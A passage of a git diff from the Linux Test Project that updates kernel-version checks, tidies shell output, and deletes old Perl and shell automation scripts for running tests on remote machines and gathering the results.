-# Copyright 2007 IBM
-#
-# This program is free software; you can redistribute it and/or modify it
-# under the terms of the GNU General Public License as published by the Free
-# Software Foundation; either version 2 of the License, or (at your option)
-# any later version.
-#
-# test_filecaps.sh - Run the file capabilities test suite.
-
-# Must be root to run the containers testsuite
-if [ $UID != 0 ]
-then
-        echo "FAILED: Must be root to execute this script"
-        exit 1
-fi
-
-# set the LTPROOT directory
-cd `dirname $0`
-LTPROOT=${PWD}
-echo $LTPROOT | grep testscripts > /dev/null 2>&1
-if [ $? -eq 0 ]
-then
-	cd ..
-	LTPROOT=${PWD}
-fi
-
-# set the PATH to include testcase/bin
-
-export PATH=$PATH:/usr/sbin:$LTPROOT/testcases/bin
-export LTPBIN=$LTPROOT/testcases/bin
-
-# We will store the logfiles in $LTPROOT/results, so make sure
-# it exists.
-if [ ! -d $LTPROOT/results ]
-then
-	mkdir $LTPROOT/results
-fi
-
-# Check the role and mode testsuite is being executed under.
-echo "Running the file capabilities testsuite..."
-
-$LTPROOT/bin/ltp-pan -S -a $LTPROOT/results/filecaps -n ltp-filecaps -l $LTPROOT/results/filecaps.logfile -o $LTPROOT/results/filecaps.outfile -p -f $LTPROOT/runtest/filecaps
-
-echo "Done."
-exit 0
diff --git a/testscripts/test_fs_bind.sh b/testscripts/test_fs_bind.sh
index 792fff2..d06564d 100755
--- a/testscripts/test_fs_bind.sh
+++ b/testscripts/test_fs_bind.sh
@@ -20,13 +20,12 @@
 # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 #
 
-if tst_kvercmp 2 6 15 ; then
+if tst_kvcmp -lt "2.6.15"; then
        tst_resm TCONF "System kernel version is less than 2.6.15"
        tst_resm TCONF "Cannot execute test"
        exit 0
 fi
 
-
 test_setup()
 {
 	#######################################################################
@@ -152,12 +151,7 @@
 		exit 1
 	fi
 
-	tst_kvercmp 2 6 15
-	X=$?
-	if [ $X -lt 0 ]; then
-		tst_brkm TBROK "$0: failed to get the running kernel version"
-		exit 1
-	elif [ $X -lt 1 ]; then
+	if tst_kvcmp -lt "2.6.15"; then
 		tst_resm TWARN "$0: the remaining tests require 2.6.15 or later"
 		tst_exit 0
 		exit
@@ -438,6 +432,7 @@
 	mount --make-private "${sandbox}" >& /dev/null || do_break=1
 
 	if [ $do_break -eq 1 ]; then
+		umount -l "${sandbox}" >& /dev/null
 		tst_brkm TBROK true "$tname: failed to save pre-test state of \"${sandbox}\""
 		return 2
 	fi
diff --git a/testscripts/test_realtime.sh b/testscripts/test_realtime.sh
index e741309..a50f479 100755
--- a/testscripts/test_realtime.sh
+++ b/testscripts/test_realtime.sh
@@ -41,38 +41,39 @@
 
 function usage()
 {
-	echo -e "\nUsage: test_realtime.sh  -t test-argument [-l loop num_of_iterations] [-t test-argument1 [-l loop ...]] ..."
-	echo -e "\nWhere test-argument = func | stress | perf | all | list | clean | test_name"
-	echo -e "\nand:\n"
-	echo -e " func = 	all functional tests will be run "
-	echo -e " stress = 	all stress tests will be run "
-	echo -e " perf = 	all perf tests will be run "
-	echo -e " all =		all tests will be run "
-	echo -e " list = 	all available tests will be listed "
-	echo -e " clean = 	all logs deleted, make clean performed "
-	echo -e " test_name = 	only test_name subdir will be run (e.g: func/pi-tests) "
-	echo -e "\n"
+	cat <<EOF
+Usage: test_realtime.sh  -t test-argument [-l loop num_of_iterations] [-t test-argument1 [-l loop ...]] ...
+
+ test-argument: func | stress | perf | all | list | clean | test_name
+ func:	 	all functional tests will be run
+ stress: 	all stress tests will be run
+ perf:		all perf tests will be run
+ all:		all tests will be run
+ list:	 	all available tests will be listed
+ clean: 	all logs deleted, make clean performed
+ test_name:	only test_name subdir will be run (e.g: func/pi-tests)
+EOF
 	exit 1;
 }
 
 function check_error()
 {
         if [ $? -gt 0 ]; then
-        echo -e "\n $1 Failed\n"
+        printf "\n $1 Failed\n\n"
         exit 1
         fi
 }
 
 list_tests()
 {
-	echo -e "\nAvailable tests are:\n"
+	printf "\nAvailable tests are:\n\n"
 
 	cd $TESTS_DIR
 	for file in `find -name run_auto.sh`
 	do
-		echo -e " `dirname  $file `"
+		printf " `dirname  $file `\n"
 	done
-		echo -e " \n"
+		printf " \n\n"
 }
 
 function run_test()
@@ -97,11 +98,11 @@
                 ./run_auto.sh
                 done
             else
-                echo -e "\n Failed to find run script in $test \n"
+                printf "\n Failed to find run script in $test \n\n"
             fi
             pushd $TESTS_DIR >/dev/null
         else
-                echo -e "\n $test is not a valid test subdirectory "
+                printf "\n $test is not a valid test subdirectory \n"
                 usage
                 exit 1
         fi
@@ -156,7 +157,7 @@
             done
                 pushd $TESTS_DIR >/dev/null
         else
-            echo -e "\n $subdir not found; check name/path with run.sh list "
+            printf "\n $subdir not found; check name/path with run.sh list \n"
         fi
     done
 
diff --git a/tools/.gitignore b/tools/.gitignore
deleted file mode 100644
index 0fe20a1..0000000
--- a/tools/.gitignore
+++ /dev/null
@@ -1,2 +0,0 @@
-/gethost
-/rand_lines
diff --git a/tools/Makefile b/tools/Makefile
index efd68a0..53bc8ef 100644
--- a/tools/Makefile
+++ b/tools/Makefile
@@ -17,16 +17,14 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ..
 
 include $(top_srcdir)/include/mk/testcases.mk
 
-# top-LTP is really broken, apparently, and netpipe needs some fixing and
-# reorganization..
-FILTER_OUT_DIRS		:= netpipe% pounder21 top-LTP
+FILTER_OUT_DIRS		:= pounder21
 
 INSTALL_TARGETS		:= *.awk *.pl *.sh html_report_header.txt
 
diff --git a/tools/README b/tools/README
deleted file mode 100644
index d75dcb3..0000000
--- a/tools/README
+++ /dev/null
@@ -1,103 +0,0 @@
-LTP Automation
-~~~~~~~~~~~~~~~
-
-The LTP automation scripts are intended to completely automate the
-updating, running, and reporting of an LTP test run. The ltpupdate script
-simply produces a copy of the latest CVS code and packages it up as a tgz
-file and uploads it to the designated LTP host machine. The ltp_master
-script first kicks off the test (this could possibly be controlled by another
-script say after a new release for example). This script uploads the
-ltprun script (which does the actual test run) to each machine specified.
-Currently I use this mostly as a single shot run. I envision a time to come
-when I have enough machines to run a copy of LTP against a test farm of say
-the same distro on different machine configurations, or on every machine I
-have control over for example. The ltprun scripts does what one would
-usually do on a system to be tested, download the code, compile, execute,
-but it also handles the reporting process as well. It will upload the data
-to the LTP host to be collected later. The ltp_check script does the brunt
-of the results processing. It produces a results.out file which has a
-summary of the system under test, the success (or failure) of the test and
-if there are failures the output from each testcase.
-
-Here's the scenario (pardon the ASCII art);
-
-----------  ------            -----------
-|master|    |test|            |ltp_host|
-----------  ------            -----------
-  |             |                     |
-  +-------------+---------------------+
-
-
-I've divided it up into 3 machine types viz, "master", "test" and
-"ltp_host". For purposes of this documents lts consider we have one test
-machine.
-
-ltp_master script
-~~~~~~~~~~~~~~~~~
-The ltp_master script is the driver that runs LTP testsuite on a machine
-of choice, it takes a single argument ie the name of the victim machine
-
-ltp_master can be invoked in the following 3 ways:
-
-#1 ltp_master -f system_file
- - system_file is an ASCII file containing the list of victim machines.
-
-#2 ltp_master system.name.dom.com
- - space separated names of victim machines.
-
-#3 ltp_master
- - will prompt user for the names of the victim machines.
-
-I reccomend using scheme #2, this will help seperate different
-distros, platforms etc, for example, We might say have a file with RedHat
-machines, or all SuSE, or all machines of a certain platform (say zSeries).
-
-Regardless of how it's invoked ltp_master does the following on each
-victim machine.
-
-  -  FTP connect to the test system and uploads ltprun
-  -  Telnet to each system and kick off ltprun ( runs under nohup )
-
-ltprun script
-~~~~~~~~~~~~~
-ltprun is where bulk of the automation of ltp is done.
-It does the following.
-  - downloads the ltp test suite tarfile (ltp.tgz) from ltp_host.
-  - uncompress the test suite and compile it.
-  - runs the test suite.
-  - tars up the results.
-  - uploads results back to ltp_host.
-
-In case any of the get, build, run fails, the script will still upload
-the results back to the ltp_host machine, so you don't have to try to remember
-which runs were kicked off and correlate that with which runs were reported.
-
-ltp_check
-~~~~~~~~~
-ltp_check lives on the master machine, this script has to be run as root
-user and it saves the ltp test results in /root/ltp_results.
-
-ltp_check does the following;
-  - FTPs to ltp_host and downloads all of the *-ltpoutput.tgz files
-  - Creates a results directory for each machine (using the short
-    hostname) and for each run (based on timestamping)
-  - Uncompresses the gathered result files into the new directory
-  - parses results gathered,  saves it as results.out file in the same
-    directory. The results are sorted by system name and then run time.
-
-Note:
-  - Check through the scripts for appropriate variables that you may need to
-change in order to customize further, they should be at the beginning of the
-file.
-
-  - This "fire and forget" might not work 100%. But if you find a test
-(like pth_str02) that hangs you can log in as root and do something like;
-killall pth_str02 a few times and the test should pick up where it left
-off.
-
-Please send comments or suggestions to:
-
-Jay Huie
-wjhuie@us.ibm.com
-Linux System Test
-Phone: 845-435-8164
diff --git a/tools/STPfailure_report.pl b/tools/STPfailure_report.pl
deleted file mode 100755
index 46b4168..0000000
--- a/tools/STPfailure_report.pl
+++ /dev/null
@@ -1,142 +0,0 @@
-#!/usr/bin/perl
-
-####################################################
-#    Copyright (c) Open Source Development Labs, 2004
-#
-#    This program is free software;  you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#    the GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License
-#    along with this program;  if not, write to the Free Software
-#    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#   FILE        : STPfailure_report.pl
-#   DESCRIPTION : A script that will retrieve the run results through the net from
-#		  the STP results and then finds the corresponding source code
-#		  file in your LTP tree for each failure.  It then prints the
-#		  description and details for each to STDOUT.
-#   REQUIREMENTS: LWP::Simple, File::Find, and Text::Wrap must be installed
-#   AUTHOR      : Bryce Harrington <bryce@osdl.org>
-#   HISTORY     :
-#       04/28/2004 Robbie Williamson (robbiew@austin.ibm.com)
-#               Adapted for and added to LTP
-####################################################
-
-use strict;
-use LWP::Simple;
-use File::Find;
-use Text::Wrap;
-
-$Text::Wrap::columns = 72;
-
-my $test_uid = $ARGV[0];
-die "Usage: STPfailure_report.pl TEST_RUN_ID\n"
-    unless ($test_uid =~ /^\d+$/);
-
-# Location from which to retrieve test results
-my $stp_url = "http://khack.osdl.org/stp/$test_uid/";
-
-# Name of the file containing the fail report data
-my $fail_report = $stp_url . "results/FAIL_summary.txt";
-
-# Path to the top dir in the locally checked out version of LTP
-my $ltp_base = "..";
-die "Cannot find testcases directory in '$ltp_base'"
-    unless (-d "$ltp_base/testcases");
-
-# Retrieve the results for the test run
-my $fail_results = get($fail_report)
-    || die "Could not retrieve URL $fail_report\n";
-
-# Process the results, extracting each test name & generating a report
-my $testname    = '';
-my $description = '';
-my $failures    = '';
-foreach my $line (split /\n/, $fail_results) {
-    next unless ($line =~ /^(\w+)\s/);
-
-    # Is this a new testname or continuation of the previous?
-    if ($1 ne $testname) {
-        # Print the current test results
-        print_report($testname, $description, $failures);
-
-        # Init variables for next testcase
-        $testname    = $1;
-        $description = get_description($testname, $ltp_base);
-        $failures    = '';
-    }
-    $failures .= wrap('', ' 'x26, ($line)) . "\n";
-}
-
-# Locates the matching .c file and extracts the DESCRIPTION field
-sub get_description {
-    my $testname = shift || return undef;
-    my $dir = shift || return undef;
-
-    # Find $testname.c
-    my $path = `find $dir -name '$testname.c'`;
-
-    chomp $path;
-    open(FILEHANDLE, "< $path") or return undef;
-
-    # Seek in $testname.c for the DESCRIPTION line
-    my $line;
-    while (defined ($line = <FILEHANDLE>)) {
-        last if ($line =~ /^\s+\*\s+DESCRIPTION/);
-        last if ($line =~ /^\s+\*\s+Test Description/);
-    }
-
-    # Extract the description
-    my $description = '';
-    while (defined ($line = <FILEHANDLE>)) {
-        last if ($line !~ /^\s+\*\s\s+/);
-
-        # Strip off the leading " * "
-        $line =~ s/^\s+\*\s//;
-
-        $description .= $line;
-    }
-    close(FILEHANDLE);
-
-    $path =~ s|^$dir/||;
-    return $description . "\nFor more see '$path'\n";
-}
-
-# Prints out the failed test case report
-sub print_report {
-    my ($testname, $description, $failures) = @_;
-
-    return unless ($testname);
-
-    $description ||= "No description available\n";
-
-    # Remove any trailing newlines
-    chomp $description;
-    chomp $testname;
-    chomp $failures;
-
-    print qq|
-========================================================================
-Test name: $testname
-
-Description:
-
-$description
-
-Test Result: FAIL
-
-Details:
-
-$failures
-
-========================================================================
-
-|;
-}
diff --git a/tools/apicmds/.gitignore b/tools/apicmds/.gitignore
index b4f7922..e57a38c 100644
--- a/tools/apicmds/.gitignore
+++ b/tools/apicmds/.gitignore
@@ -3,8 +3,6 @@
 tst_exit
 tst_flush
 tst_get_unused_port
-tst_kvercmp
-tst_kvercmp2
 tst_ncpus
 tst_ncpus_conf
 tst_ncpus_max
diff --git a/tools/apicmds/Makefile b/tools/apicmds/Makefile
index 9c9472d..6c35ab5 100644
--- a/tools/apicmds/Makefile
+++ b/tools/apicmds/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../..
@@ -26,8 +26,8 @@
 
 CPPFLAGS		+= -D_GNU_SOURCE
 
-MAKE_TARGETS		:= $(addprefix tst_,brk brkm exit flush kvercmp \
-			     kvercmp2 res resm ncpus ncpus_conf ncpus_max \
+MAKE_TARGETS		:= $(addprefix tst_,brk brkm exit flush \
+			     res resm ncpus ncpus_conf ncpus_max \
 			     get_unused_port fs_has_free)
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/tools/apicmds/ltpapicmd.c b/tools/apicmds/ltpapicmd.c
index 12a5bd5..9ad68b5 100644
--- a/tools/apicmds/ltpapicmd.c
+++ b/tools/apicmds/ltpapicmd.c
@@ -45,16 +45,6 @@
  *               0   - on success
  *              -1  - on failure
  *
- * Description: Unlike the above commands tst_kvercmp, tst_kvercmp2 have an unusual
- *              exit status
- *              tst_kvercmp  - Compare running kernel to specified version
- *              tst_kvercmp2 - Compare running kernel to specified vanilla version
- *                             or distribution specific version
- * Exit:
- *               2 - running newer kernel
- *               1 - running same age kernel
- *               0 - running older kernel
- *              -1 - on failure
  * History
  * Dec 10 2002 - Created - Manoj Iyer manjo@mail.utexas.edu
  * Dec 12 2002 - Modified - Code that checked if the environment variables
@@ -200,105 +190,6 @@
 	tst_resm(trestype, "%s", *argv);
 }
 
-void apicmd_kvercmp(int argc, char *argv[])
-{
-	int exit_value;
-
-	if (argc < 4) {
-		fprintf(stderr, "Usage: %s NUM NUM NUM\n"
-			"Compares to the running kernel version.\n\n"
-			"\tNUM - A positive integer.\n"
-			"\tThe first NUM is the kernel VERSION\n"
-			"\tThe second NUM is the kernel PATCHLEVEL\n"
-			"\tThe third NUM is the kernel SUBLEVEL\n\n"
-			"\tExit status is 0 if the running kernel is older than the\n"
-			"\t\tkernel specified by NUM NUM NUM.\n"
-			"\tExit status is 1 for kernels of the same age.\n"
-			"\tExit status is 2 if the running kernel is newer.\n",
-			cmd_name);
-		exit(1);
-	}
-	exit_value = tst_kvercmp(atoi(argv[0]), atoi(argv[1]),
-				atoi(argv[2]));
-	if (exit_value < 0)
-		exit_value = 0;
-	else if (exit_value == 0)
-		exit_value = 1;
-	else if (exit_value > 0)
-		exit_value = 2;
-	exit(exit_value);
-}
-
-void apicmd_kvercmp2(int argc, char *argv[])
-{
-	int exit_value;
-
-	struct tst_kern_exv vers[100];
-	unsigned int count;
-
-	char *saveptr1 = NULL;
-	char *saveptr2 = NULL;
-	char *token1;
-
-	if (TCID == NULL)
-		TCID = "outoftest";
-	if (tst_cntstr == NULL)
-		tst_count = 0;
-
-	if (argc < 5) {
-		fprintf(stderr, "Usage: %s NUM NUM NUM KVERS\n"
-			"Compares to the running kernel version\n"
-			"based on vanilla kernel version NUM NUM NUM\n"
-			"or distribution specific kernel version KVERS\n\n"
-			"\tNUM - A positive integer.\n"
-			"\tThe first NUM is the kernel VERSION\n"
-			"\tThe second NUM is the kernel PATCHLEVEL\n"
-			"\tThe third NUM is the kernel SUBLEVEL\n\n"
-			"\tKVERS is a string of the form "
-			"\"DISTR1:VERS1 DISTR2:VERS2\",\n"
-			"\twhere DISTR1 is a distribution name\n"
-			"\tand VERS1 is the corresponding kernel version.\n"
-			"\tExample: \"RHEL6:2.6.39-400.208\"\n\n"
-			"\tIf running kernel matches a distribution in KVERS then\n"
-			"\tcomparison is performed based on version in KVERS,\n"
-			"\totherwise - based on NUM NUM NUM.\n\n"
-			"\tExit status is 0 if the running kernel is older.\n"
-			"\tExit status is 1 for kernels of the same age.\n"
-			"\tExit status is 2 if the running kernel is newer.\n",
-			cmd_name);
-		exit(3);
-	}
-
-	count = 0;
-	token1 = strtok_r(argv[3], " ", &saveptr1);
-	while ((token1 != NULL) && (count < 99)) {
-		vers[count].dist_name = strtok_r(token1, ":", &saveptr2);
-		vers[count].extra_ver = strtok_r(NULL, ":", &saveptr2);
-
-		if (vers[count].extra_ver == NULL) {
-			fprintf(stderr, "Incorrect KVERS format\n");
-			exit(3);
-		}
-
-		count++;
-
-		token1 = strtok_r(NULL, " ", &saveptr1);
-	}
-	vers[count].dist_name = NULL;
-	vers[count].extra_ver = NULL;
-
-	exit_value = tst_kvercmp2(atoi(argv[0]), atoi(argv[1]),
-				atoi(argv[2]), vers);
-
-	if (exit_value < 0)
-		exit_value = 0;
-	else if (exit_value == 0)
-		exit_value = 1;
-	else if (exit_value > 0)
-		exit_value = 2;
-	exit(exit_value);
-}
-
 struct param_pair {
 	char *cmd;
 	int value;
@@ -402,9 +293,7 @@
 	tst_total = getenv("TST_TOTAL");
 	tst_cntstr = getenv("TST_COUNT");
 	if (TCID == NULL || tst_total == NULL || tst_cntstr == NULL) {
-		if (!strcmp(cmd_name, "tst_kvercmp") &&
-		    !strcmp(cmd_name, "tst_kvercmp2") &&
-		    !strcmp(cmd_name, "tst_fs_has_free") &&
+		 if(!strcmp(cmd_name, "tst_fs_has_free") &&
 		    !strcmp(cmd_name, "tst_get_unused_port")) {
 			fprintf(stderr,
 				"\nSet variables TCID, TST_TOTAL, and TST_COUNT before each test:\n"
@@ -445,10 +334,6 @@
 		tst_exit();
 	} else if (strcmp(cmd_name, "tst_flush") == 0) {
 		tst_flush();
-	} else if (strcmp(cmd_name, "tst_kvercmp") == 0) {
-		apicmd_kvercmp(argc, argv);
-	} else if (strcmp(cmd_name, "tst_kvercmp2") == 0) {
-		apicmd_kvercmp2(argc, argv);
 	} else if (strcmp(cmd_name, "tst_ncpus") == 0) {
 		printf("%li\n", tst_ncpus());
 	} else if (strcmp(cmd_name, "tst_ncpus_conf") == 0) {
diff --git a/tools/autoltp b/tools/autoltp
deleted file mode 100755
index 831cc25..0000000
--- a/tools/autoltp
+++ /dev/null
@@ -1,123 +0,0 @@
-#!/usr/bin/perl
-
-# 05/22/02 martinjn@us.ibm.com wrote this script for ltp automation using ssh instead of telnet
-# 06/18/02 martinjn@us.ibm.com hacked this script up to try to make it work better with ltp_check
-#
-# If you create a config file to use the -f option, the host line format is:
-# host,userid,password,number of instances,time
-#
-# time option should include m/h/d units(example: 72h = 72 hour run)
-#
-
-use Net::SSH::Perl ();
-use Net::SFTP ();
-
-$|=1;
-$LTPRESULTS=$ENV{"HOME"} . "/ltpresults";
-$LTPSOURCE="/tmp/ltp.tgz";
-$LTPTARGET="/tmp/ltp.tgz";
-$ETIME=time();
-
-if (!-d $LTPRESULTS)
-{
-   print "Creating $LTPRESULTS \n";
-   print `mkdir $LTPRESULTS`;
-}
-
-if ( $ARGV[0] eq "-f" )
-{
-   if ( -f $ARGV[1] )
-   {
-      open(FILE, $ARGV[1]) or die "Can't open $ARGV[1]";
-      for ($i = 0; chomp($hosts[$i] = <FILE>); $i++) { ; }
-      $#hosts--;
-      close(FILE);
-   }
-   else { die "Please specify host list file with option -f\n"; }
-}
-elsif (@ARGV)
-{  @hosts = @ARGV; }
-else
-{
-   print "HOSTS separate with [ENTER] finish with [^D]\n";
-   print "format: host,userid,password,instances,time\n";
-   chomp(@hosts = <STDIN>);
-}
-
-# had to fork off the remote transactions because Net::SSH waits for return code
-
-for($i=0; $i <= $#hosts; $i++) {
-   if (!fork) {
-      ($HOST,$USER,$PASS,$INSTANCES,$DURATION)=split(/,/,@hosts[$i]);
-      ($SHORTHOST,$TRASH)=split(/\./,$HOST);
-      $LTP_LOGS="$SHORTHOST-$ETIME-ltpoutput.tgz";
-      $RUN_LOG="/root/runall.output";
-
-      #push tar.tgz
-      %args = {};
-      $args{user}=$USER;
-      $args{password}=$PASS;
-      my $sftp = Net::SFTP->new($HOST,%args);
-      $sftp->put($LTPSOURCE,$LTPTARGET);
-      print("$LTPSOURCE copied to $LTPTARGET on $HOST\n");
-
-      #untar, build, and run
-      my $ssh = Net::SSH::Perl->new($HOST);
-      $ssh->login($USER,$PASS);
-
-      print("Untar and build testcases on $HOST\n");
-      if($ssh->cmd("tar -xzf $LTPTARGET > /dev/null && rm $LTPTARGET && cd ltp && make clean install > /dev/null")) {
-          print("Error untarring or building on $HOST. Giving up on this machine.\n");
-          exit();
-      }
-      else {
-          print("Untar and build complete on $HOST\n");
-      }
-
-      print("Starting sar on $HOST\n");
-      $ssh->cmd("nohup sar -o sar.data 60 0 >/dev/null 2>&1 &");
-
-      print("Cranking up tests on " . $HOST . "\n");
-      if($ssh->cmd("cd ltp* && nohup ./runalltests.sh $INSTANCES $DURATION >$RUN_LOG &")) {
-          print("Error starting tests on $HOST. Giving up on this machine.\n");
-          exit();
-      }
-      else {
-          print("Tests completed on $HOST\n");
-      }
-
-      #this looks lame, but ltp_check needs ltprun.out to grab the ltp version
-      $ssh->cmd('echo version: $(cat VERSION) > ltprun.out');
-
-      #stop sar on client(s)
-      if($ssh->cmd("killall sar && killall sadc")) {
-          print("hmmm...couldn't stop sar automatically.\n");
-      }
-      else {
-          print("Stopped sar on $HOST\n");
-      }
-
-      #tar up and remove the results files
-      if($tmp=$ssh->cmd("cd /root && tar --remove-files -czf $LTP_LOGS sar.data ltp-logfile runall.output ltprun.out")) {
-          print("Error returned $tmp tarring up results on $HOST. Some of the logs may be missing.\n");
-      }
-      else {
-          print("Results tarred up on $HOST\n");
-      }
-
-      #upload the results back to the machine you ran from
-      print("Uploading results, $LTP_LOGS, to $LTPRESULTS for $HOST\n");
-      if($sftp->get($LTP_LOGS,$LTPRESULTS."/$LTP_LOGS")) {
-          print("Error uploading results from " . $HOST . ". Giving up on this machine.\n");
-          exit();
-      }
-      else {
-          print("Results uploaded for $HOST\n");
-      }
-      exit;
-   }
-}
-
-for ($j=0; $j <= $#hosts; $j++) {
-   wait;
-}
diff --git a/tools/create_dmesg_entries_for_each_test.awk b/tools/create_dmesg_entries_for_each_test.awk
index 3629f07..25d750a 100644
--- a/tools/create_dmesg_entries_for_each_test.awk
+++ b/tools/create_dmesg_entries_for_each_test.awk
@@ -19,7 +19,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, April 2012
+# Ngie Cooper, April 2012
 #
 
 NF && ! /^#/ {
diff --git a/tools/create_kernel_faults_in_loops_and_probability.awk b/tools/create_kernel_faults_in_loops_and_probability.awk
index 97b3861..e2ec3b5 100644
--- a/tools/create_kernel_faults_in_loops_and_probability.awk
+++ b/tools/create_kernel_faults_in_loops_and_probability.awk
@@ -19,7 +19,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, April 2012
+# Ngie Cooper, April 2012
 #
 
 NF && ! /^#/ {
diff --git a/tools/create_valgrind_check.awk b/tools/create_valgrind_check.awk
index 21621c5..05cf6fa 100644
--- a/tools/create_valgrind_check.awk
+++ b/tools/create_valgrind_check.awk
@@ -18,7 +18,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, April 2012
+# Ngie Cooper, April 2012
 #
 
 # XXX: this script doesn't handle items that would be executed via pan with
diff --git a/tools/genload/Makefile b/tools/genload/Makefile
index 2384d2c..8bf4d27 100644
--- a/tools/genload/Makefile
+++ b/tools/genload/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../..
diff --git a/tools/ltp_check b/tools/ltp_check
deleted file mode 100755
index f708abf..0000000
--- a/tools/ltp_check
+++ /dev/null
@@ -1,278 +0,0 @@
-#!/usr/bin/perl
-
-#LTP results gathering script: ltp_check
-#       3/12/02 William Jay Huie (creation)
-#       3/28/02 William Jay Huie minor fixes, increased results parsing
-#       5/01/02 William Jay Huie parsing changes
-#       5/17/02 Casey Abell added sar results
-#This will log into the LTP_HOST machine, which may be different then the
-#machine used to run the ltp_master script
-#This script will check for *ltpoutput.tgz files created by the ltprun script
-#and download them each to their own directory and do a bit of processing
-#the results gathering probably needs to be extended but hopefully this is a good
-#first go at it
-
-use Net::FTP ();
-
-#CHANGEME:
-#For some reason doesn't work if you do ~/ltp/results, so you need to code the
-#explicit path for LTP_RES_DIR unless someone can tell me why
-$LTP_RES_DIR="/home/wjhuie/ltp/results";
-#CHANGEME:
-$LTP_HOST="ltp_host.somewhere.org";
-
-#This is who has the *ltpoutput.tgz files, where the results are uploaded
-#     not necessarially the user id that ran the test
-$LTP_USER="ltp";
-$LTP_PASS="ltp";
-$LTP_LOGFILE="ltp-logfile";
-$LTP_RUN_OUTPUT="ltprun.out";
-$LTP_RUNALL_OUT="runall.output";
-$RESULTS_OUT="results.out";
-$FAILS_OUT="failures.list";
-$SAR_OUTFILE="sar.data";
-
-@res_dirs;
-$count = 0;
-$RES = 0;
-$FAILS = 0;
-%hash;
-
-sub download_results()
-{
-   print "Attempting to download the LTP results\n";
-
-   $dir = system("ls $LTP_RES_DIR &> /dev/null") / 256;
-   if ($dir)
-   {
-     print "Making a results directory in $LTP_RES_DIR\n";
-     `mkdir -p $LTP_RES_DIR`;
-     chdir "$LTP_RES_DIR" or die "Can't change to $LTP_RES_DIR\n";
-   }
-   else
-   { chdir "$LTP_RES_DIR" or die "Can't change to $LTP_RES_DIR\n"; }
-
-   $ftp = Net::FTP->new($LTP_HOST, Debug => 0) or die "Can't connect to ftp: $LTP_HOST";
-   $ftp->login($LTP_USER, $LTP_PASS) or die "Unable to login";
-   $ftp->type('I') or die "Unable to set type to Binary";
-   @files = $ftp->ls("*ltpoutput.tgz");
-   $num_files = $#files + 1;
-   print "New results files found $num_files:\n";
-   for ($i = 0; $i < $num_files; $i++) { print "\t$files[$i]\n"; }
-
-   for ($i = 0; $i < $num_files; $i++)
-   {
-      print "Downloading: $files[$i]\t";
-      if ($ftp->get($files[$i]))
-      {
-         print "Successful\n";
-         $ftp->delete($files[$i]);
-      }
-      else
-      { print "FAILED\n"; }
-
-   }
-   $ftp->quit;
-
-   @res = `ls $LTP_RES_DIR/*.tgz 2> /dev/null`;
-
-   if (@res)
-   {
-      $num = $#res + 1;
-      print "             download of LTP results finished\n";
-      print "$num unprocessed results files found\n";
-      chomp(@res);
-      return 1;
-   }
-   else
-   {  print "             no apparent results to process\n"; return 0; }
-
-}
-
-sub untar_results()
-{
-   for ($i = 0; $i < $num; $i++)
-   {
-      if ( $res[$i] =~ m/\s*(\w+)-((\w+)-)*ltpoutput.tgz/ )
-      {
-         $hostname = $1;
-         $epoch_time = $3;
-         $english_time = localtime($epoch_time);
-         $dir = "$LTP_RES_DIR/$hostname/$english_time";
-
-         if ($english_time)
-         {
-            $new_dir = $dir;
-            $new_dir =~ s/ /_/g;
-            print "New results: $hostname @ $english_time\n";
-            `mkdir -p '$new_dir'`;
-            chdir "$new_dir" or die "Can't change to $new_dir\n";
-            `tar -zxf $res[$i]`;
-            `mv $res[$i] $new_dir`;
-            $res_dirs[$count] = $new_dir; $count++;
-         }
-         else
-         {
-            print "No timestamp on results file, skipping for now\n";
-#Should come up with a soultion for this, check/create $hostname
-#     then some unique identifier but for now we'll complain and ignore
-         }
-      }
-   }
-   return 1;
-}
-
-sub gather_results()
-{
-   print "Gathering $count result(s):\n";
-
-   for ($i = 0; $i < $count; $i++)
-   {
-      print "\nResults for: $res_dirs[$i]\n";
-      chdir "$res_dirs[$i]" or die "Can't change to $res_dirs[$i]\n";
-
-      if ( !( -f $LTP_RUNALL_OUT && -f $LTP_LOGFILE ) )
-      {
-           print "$LTP_RUNALL_OUT or $LTP_LOGFILE seems to be missing\n";
-           print "     check the tarfile and perhaps $LTP_RUN_OUTPUT\n";
-           print "Skipping\n";
-           next;
-      }
-
-      chomp($stat = `tail -n 1 $LTP_RUNALL_OUT`);
-      print "\t\t$stat\n";
-
-      $num_success = `grep "stat=0" $LTP_LOGFILE | wc -l`;
-      if ( $num_success =~ /\s*(\d+)\s*/ ) { $num_success = $1; }
-
-      @fails = `grep "stat=" $LTP_LOGFILE | grep -v "stat=0"`;
-      $num_fail = $#fails + 1;
-
-      # gather the same fail cases together and have a counter for each different fail case.
-
-        foreach $each (@fails) {
-                if ($each =~ /(.)*tag=(\w+)\sstime=(.+)/){
